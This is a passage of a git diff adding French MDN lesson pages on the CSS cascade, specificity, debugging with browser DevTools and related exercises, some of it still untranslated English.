Note : Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent.

+
+ +

Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS.

+ +

Par exemple :

+ +
    +
  1. Le deuxième item de la liste est dans la classe my-class-1. Cela définit la couleur de l'élément <a> qu'il contient à inherit. Si vous supprimez cette règle, quelle est la couleur du lien ?
    2. +
  2. Comprenez vous pourquoi les troisième et quatrième liens sont de la couleur qu'ils sont ? Dans la négative, relisez la description des valeurs spéciales ci-dessus.
    3. +
  3. Quels liens changeront de couleur si on redéfinit la couleur de l'élément  <a> — par exemple a { color: red; } ?
    4. +
+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} 

+ +

Réinitialiser la valeur de toutes les propriétés

+ +

En CSS, la propriété raccourci all peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (inherit, initial, unset, ou revert). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications.

+ +

Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément <blockquote> lui-même, le second <blockquote> appartient à une classe qui définit la valeur de all à unset.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} 

+ +

Essayez de donner à all l'une des autres valeurs possibles et observez les changements.

+ +

Comprendre la cascade

+ +

Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le <body>, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément.

+ +

Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après :

+ +
    +
  1. Importance
    2. +
  2. Spécificité
    3. +
  3. Ordre d'apparition dans le source
    4. +
+ +

Passons les en revue en partant de la fin, pour voir comment les navigateurs déterminent quel CSS doit être appliqué.

+ +

Ordre d'apparition dans le source 

+ +

Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément..

+ +

Spécificité

+ +

L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une spécificité plus élevée —  elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément.

+ +

Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément.

+ +

Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée.

+ +

Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} 

+ +

Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles.

+ +

Le score de spécificité d'un sélecteur est codé par quatre valeurs (ou composants) différentes, qui peuvent être considérées comme des milliers, des centaines, des dizaines et des unités — quatre chiffres simples dans quatre colonnes :

+ +
    +
  1. Milliers : ajouter 1 dans cette colonne si la déclaration apparaît dans un  {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000.
    2. +
  2. Centaines : ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global.
    3. +
  3. Dizaines : ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global.
    4. +
  4. Unités : ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global.
    5. +
+ +
+

Note : Le sélecteur  universel (*), les combinateurs (+, >, ~, ' '), et la pseudo-class de négation (:not) n'affectent en rien la spécificité.

+
+ +

Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la référence MDN des sélecteurs.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélecteurMilliersCentainesDizainesUnitésSpécificité
h100010001
h1 + p::first-letter00030003
li > a[href*="fr"] > .inline-warning00220022
#identifiant01000100
pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément 10001000
+ +

Avant de continuer, regardons un exemple en action.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} 

+ +

Alors qu'est-ce qui se passe ici ? Tout d'abord, nous ne sommes intéressés que par les sept premières règles de cet exemple, et comme vous le remarquerez, nous avons inclus leurs valeurs de spécificité dans un commentaire avant chacune.

+ +
    +
  • Les deux premiers sélecteurs se disputent le style de la couleur d'arrière-plan du lien — le deux gagne et rend la couleur d'arrière-plan bleue car il a un sélecteur d'ID supplémentaire : sa spécificité est de 201 contre 101 pour le sélecteur un.
    • +
  • Les sélecteurs trois et quatre se disputent le style de la couleur du texte du lien — le quatre gagne et rend le texte blanc car bien qu'il ait un sélecteur d'élément en moins, le sélecteur manquant est remplacé par un sélecteur de classe, qui vaut dix au lieu de un. La spécificité gagnante est donc de 113 contre 104.
    • +
  • Les sélecteurs cinq, six et sept se disputent le style de la bordure du lien en survol. Le six perd clairement devant le cinq avec une spécificité de 23 contre 24 — il a un sélecteur d'éléments en moins dans la chaîne. Le sept, cependant, bat à la fois cinq et six — il a le même nombre de sous-sélecteurs dans la chaîne que cinq, mais un sélectecur d'élément a été échangé contre un sélecteur de classe. La spécificité gagnante est donc de 33 contre 23 et 24.
    • +
+ +
+

Note : Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un million de sélecteurs de class combinés ne prendront jamais le dessus sur un sélecteur d'id.

+ +

Une manière plus précise d'évaluer la spécificité serait de noter individuellement les niveaux de spécificité en commençant par le plus élevé et en passant au plus bas si nécessaire. Ce n'est que lorsqu'il existe un lien entre les scores des sélecteurs au sein d'un niveau de spécificité que vous devez évaluer le niveau suivant ; sinon, vous pouvez ignorer les sélecteurs de niveau de spécificité inférieur car ils ne peuvent jamais écraser les niveaux de spécificité supérieurs.

+
+ +

!important

+ +

Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale  !important mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade.

+ +

Jetez un œil à cet exemple : nous avons deux paragraphes, dont l'un a un ID.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} 

+ +

Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe.

+ +
    +
  1. Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures.
    2. +
  2. Mais rappelez vous, les sélecteurs de classe sont plus spécifiques !
    3. +
  3. Les deux éléments sont dans la classe better, mais le deuxième a aussi l'{{htmlattrxref("id")}}  winning. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément,  alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe.
    4. +
  4. Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration !important dans la deuxième règle — écrit après  border: none,  ce mot-clé signifie que cette déclaration l'emporte sur le border définie dans la règle précédente, même si l'ID a une spécificité plus élevée.
    5. +
+ +
+

Note : La seule façon de dépasser cette déclaration  !important serait d'ajouter un !important dans une déclaration de même spécificité apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande.

+
+ +

Il est utile de connaître  !important , ne serait-ce que pour le reconnaître dans le code des autres. Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours. !important modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style.

+ +

Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser !important. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas.

+ +

Où sont écrites les règles CSS

+ +

Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture.

+ +

En résumé

+ +

Les déclarations en conflit seront appliquées dans l'ordre suivant, les déclarations ultérieures remplaçant les déclarations antérieures :

+ +
    +
  1. Déclarations dans les feuilles de style de l'agent utilisateur (par exemple, les styles par défaut du navigateur, utilisés lorsqu'aucun autre style n'est défini).
    2. +
  2. Déclarations normales dans les feuilles de style utilisateur (styles personnalisés définis par un utilisateur).
    3. +
  3. Déclarations normales dans les feuilles de style d'auteur (ce sont les styles définis par nous, les développeurs web).
    4. +
  4. Déclarations !important dans les feuilles de style d'auteur.
    5. +
  5. Déclarations !important dans les feuilles de style utilisateur.
    6. +
+ +

Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant !important dans leurs règles.

+ +

Activité : jouer dans la cascade

+ +

Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur <color>. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle.

+ +

Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton Reset. Si vous êtes vraiment coincé, jetez un coup d'œil à la solution ici.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}

+ +

À suivre

+ +

Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs.

+ +

Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir.

+ +

En particulier quand vous rencontrez des comportements étranges où vos règles de style ne s'appliquent pas, revenez ici. Ce pourrait être un problème de spécificité.

+ +

{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html new file mode 100644 index 0000000000..8e61584e9d --- /dev/null +++ b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html @@ -0,0 +1,112 @@ +--- +title: Création d'un en-tête de papier à lettre élégant +slug: Apprendre/CSS/styliser_boites/Creating_fancy_letterheaded_paper +tags: + - Arrière‑plan + - Boîte + - Boîtes + - CSS + - Codage + - Débutant + - Evaluation + - encadrement + - en‑tête de lettre + - lettre + - lettre avec en‑tête + - papier +translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Apprendre/CSS/styliser_boites")}}
+ +

Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à en-tête peut vraiment être un bon début. Dans cet execice, le défi à relever consiste à créer un modèle en ligne pour obtenir ce bel aspect.

+ + + + + + + + + + + + +
Prérequis :Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.
Objectif :Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme l'implémentation d'arrière‑plans.
+ +

Départ

+ +

Pour débuter cet exercice, vous devez :

+ +
    +
  • faire une copie locale du HTML et de la CSS — enregistrez‑les sous les noms  index.html et style.css dans un nouveau répertoire.
    • +
  • enregistrer des copies locales des images d'en‑tête, pied de page et  logo dans le même répertoire que les fichiers de code.
    • +
+ +
+

Note : Autrement, vous pouvez utiliser un site comme  JSBin ou Thimble pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <style> dans l'élément head du document.

+
+ +

Résumé du projet

+ +

Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il  faut :

+ +

La lettre

+ +
    +
  • appliquer la CSS au HTML,
    • +
  • ajouter à la lettre une déclaration background qui : +
      +
    • place l'image haute en en‑tête de lettre
      • +
    • place l'image basse en pied de lettre
      • +
    • ajoute un gradient semi-transparent au‑dessus des deux arrière‑plans ci‑dessus pour donner un peu de texture à la lettre. Faites en sorte qu'il soit légèrement obscurcissant en en‑tête et pied de page, mais totalement transparent sur la plus grande partie du centre de la lettre,
      • +
    +
    • +
  • ajouter une autre déclaration background qui mette uniquement l'image haute en en‑tête, en recours pour les navigateurs qui ne prennent pas en charge la précédente déclaration,
    • +
  • ajouter un arrière‑plan de couleur blanche à la lettre.
    • +
  • ajouter un encadrement plein de 1mm en haut et en bas de la lettre, dans une couleur qui soit en accord avec le schéma de couleur général,
    • +
+ + + +
    +
  • à l'élément {{htmlelement("h1")}}, ajouter le logo en tant qu'image de fond,
    • +
  • ajouter un filtre au logo pour donner une très légère ombre portée,.
    • +
  • puis, commenter le filtre et implémenter l'ombre portée d'une autre manière pour être compatible inter-navigateurs, mais qui suive encore la forme ronde de l'image.
    • +
+ +

Astuces

+ +
    +
  • Souvenez‑vous que vous pouvez créer un recours pour les navigateurs les plus anciens en faisant la déclaration de la version de recours avant celle qui n'est prise en charge que par les navigateurs modernes. Les anciens navigateurs appliqueront la première déclaration tout en ignorant la seconde, alors que les navigateurs récents appliqueront la première déclaration, mais l'écraseront avec la seconde.
    • +
  • Vous êtes bien entendu libre de créer vos propres graphes si vous le souhaitez.
    • +
+ +

Exemple

+ +

Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera :

+ +

+ +

 

+ +

Évaluation

+ +

Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercice ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abord, il n'y rien à gagner en trichant !

+ +

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/building_blocks/debugging_css/index.html b/files/fr/learn/css/building_blocks/debugging_css/index.html new file mode 100644 index 0000000000..01f17c25a5 --- /dev/null +++ b/files/fr/learn/css/building_blocks/debugging_css/index.html @@ -0,0 +1,202 @@ +--- +title: Debugging CSS +slug: Apprendre/CSS/Building_blocks/Debugging_CSS +translation_of: Learn/CSS/Building_blocks/Debugging_CSS +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}
+ +

Parfois, quand vous écrirez du CSS, vous rencontrerez un problème où votre CSS semblera ne pas se comporter comme vous vous y attendrez. Peut-être que vous croirez qu'un certain sélecteur devrait être lié à un élément, mais rien ne se passe, ou une box aura une taille différente de ce que vous espérerez. Cet article vous donnera une ligne directrice pour débeuguer un problème CSS, et vous montrera comment les DevTools (outils de développeur) inclus dans tous les navigateurs modernes peuvent vous aider à comprendre ce qui se passe.

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.)
Objective:To learn the basics of what browser DevTools are, and how to do simple inspection and editing of CSS.
+ +

Comment accéder aux outils de développement du navigateur

+ +

L'article Que sont les outils de développement de navigateurs est un guide maintenu à jour qui explique comment accéder aux outils dans différents navigateurs et plateformes. Alors que vous pouvez choisir de développer le plus souvent sur un navigateur en particulier, et donc de devenir plus familier avec les outils inclus dans ce navigateur, il est important de savoir comment accéder à ces outils dans d'autres navigateurs. Cela vous aidera si vous voyez des rendus différents entre plusieurs navigateurs.

+ +

You will also find that browsers have chosen to focus on different areas when creating their DevTools. For example in Firefox there are some excellent tools for working visually with CSS Layout, allowing you to inspect and edit Grid Layouts, Flexbox, and Shapes. However, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to elements on your page, and making changes to them from the editor.

+ +

In this lesson we will look at some useful features of the Firefox DevTools for working with CSS. In order to do so I'll be using an example file. Load this up in a new tab if you want to follow along, and open up your DevTools as described in the article linked above.

+ +

The DOM versus view source

+ +

Something that can trip up newcomers to DevTools is the difference between what you see when you view the source of a webpage, or look at the HTML file you put on the server, and what you can see in the HTML Pane of the DevTools. While it looks roughly similar to what you can see via View Source there are some differences.

+ +

In the rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an <h2> but closing with an </h3>, the browser will figure out what you were meaning to do and the HTML in the DOM will correctly close the open <h2> with an </h2>. The browser will also normalize all of the HTML, and the DOM will also show any changes made by JavaScript.

+ +

View Source in comparison, is simply the HTML source code as stored on the server. The HTML tree in your DevTools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on.

+ +

Inspecting the applied CSS

+ +

Select an element on your page, either by right/ctrl-clicking on it and selecting Inspect, or selecting it from the HTML tree on the left of the DevTools display. Try selecting the element with the class of box1; this is the first element on the page with a bordered box drawn around it.

+ +

The example page for this tutorial with DevTools open.

+ +

If you look at the Rules view to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class box1 and also the CSS that is being inherited by the box from its ancestors, in this case to <body>. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element.

+ +

Also useful is the ability to expand out shorthand properties. In our example the margin shorthand is used.

+ +

Click on the little arrow to expand the view, showing the different longhand properties and their values.

+ +

You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example border-radius, and the CSS will stop applying.

+ +

You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.

+ +

The following video provides some useful tips on debugging CSS using the Firefox DevTools:

+ +

{{EmbedYouTube("O3DAm82vIvU")}}

+ +

Editing values

+ +

In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page.

+ +

With box1 selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.

+ +

DevTools Styles Panel with a color picker open.

+ +

Adding a new property

+ +

You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file.

+ +

You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting font-size, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.

+ +

The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open

+ +
+

Note: There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at Examine and edit CSS.

+
+ +

Understanding the box model

+ +

In previous lessons we have discussed the Box Model, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated.

+ +

The Layout view shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.

+ +

In this panel, one of the detailed properties is the box-sizing property, which controls what box model the element uses.

+ +

Compare the two boxes with classes box1 and box2. They both have the same width applied (400px), however box1 is visually wider. You can see in the layout panel that it is using content-box. This is the value that takes the size you give the element and then adds on the padding and border width.

+ +

The element with a class of box2 is using border-box, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case width: 400px.

+ +

The Layout section of the DevTools

+ +
+

Note: Find out more in Examining and Inspecting the Box Model.

+
+ +

Solving specificity issues

+ +

Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out.

+ +

In our example file there are two words that have been wrapped in an <em> element. One is displaying as orange and the other hotpink. In the CSS we have applied:

+ +
em {
+  color: hotpink;
+  font-weight: bold;
+}
+ +

Above that in the stylesheet however is a rule with a .special selector:

+ +
.special {
+  color: orange;
+}
+ +

As you will recall from the lesson on cascade and inheritance where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet.

+ +

Inspect the <em> with the class of .special and DevTools will show you that orange is the color that applies, and also shows you the color property applied to the em crossed out. You can now see that the class is overriding the element selector.

+ +

Selecting an em and looking at DevTools to see what is over-riding the color.

+ +

Find out more about the Firefox DevTools

+ +

There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main DevTools section, and for more detail on the things we have briefly covered in this lesson see The How To Guides.

+ +

Debugging problems in CSS

+ +

DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, how should you go about solving it? The following steps should help.

+ +

Take a step back from the problem

+ +

Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier.

+ +

Do you have valid HTML and CSS?

+ +

Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors.

+ + + +

Is the property and value supported by the browser you are testing in?

+ +

Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}.

+ +

Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported.

+ +

You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property.

+ +

{{compat("css.shape-outside")}}

+ +

Is something else overriding your CSS?

+ +

This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it.

+ +

Make a reduced test case of the problem

+ +

If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively.

+ +

A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature.

+ +

To create a reduced test case:

+ +
    +
  1. If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like CodePen is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident.
    2. +
  2. If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript does make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue.
    3. +
  3. Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue.
    4. +
  4. Remove any CSS that doesn't impact the issue.
    5. +
+ +

In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds.

+ +

If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.

+ +

In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's bugzilla site).

+ +

As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}

+ +

In this module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.html new file mode 100644 index 0000000000..12a6be6d0c --- /dev/null +++ b/files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.html @@ -0,0 +1,137 @@ +--- +title: Compréhension des fondements des CSS +slug: Apprendre/CSS/Introduction_à_CSS/Fundamental_CSS_comprehension +tags: + - CSS + - Codage + - Commentaires + - Débutant + - Evaluation + - Règles + - Style + - Syntaxe + - Sélecteurs + - modèle de boîte +translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}
+ +

Beaucoup de choses ont été passées en revue dans ce module, donc il est bon d'avoir atteint la fin ! La dernière étape avant de passer à la suite est de tenter une évaluation sur les thèmes de ce module — elle comprend un certain nombre d'exercices connexes à compléter pour créer la composition finale — une carte de visite / carte de joueur / un profil de média social.

+ + + + + + + + + + + + +
Prérequis :Avant de vous lancer dans cet exercice vous devez avoir déja travaillé l'ensemble des articles de ce module.
Objectif :Tester votre compréhension des fondements de la théorie, de la syntaxe et des mécanismes des CSS.
+ +

Point de départ

+ +

Pour demarrer cet exercice, vous devez :

+ +
    +
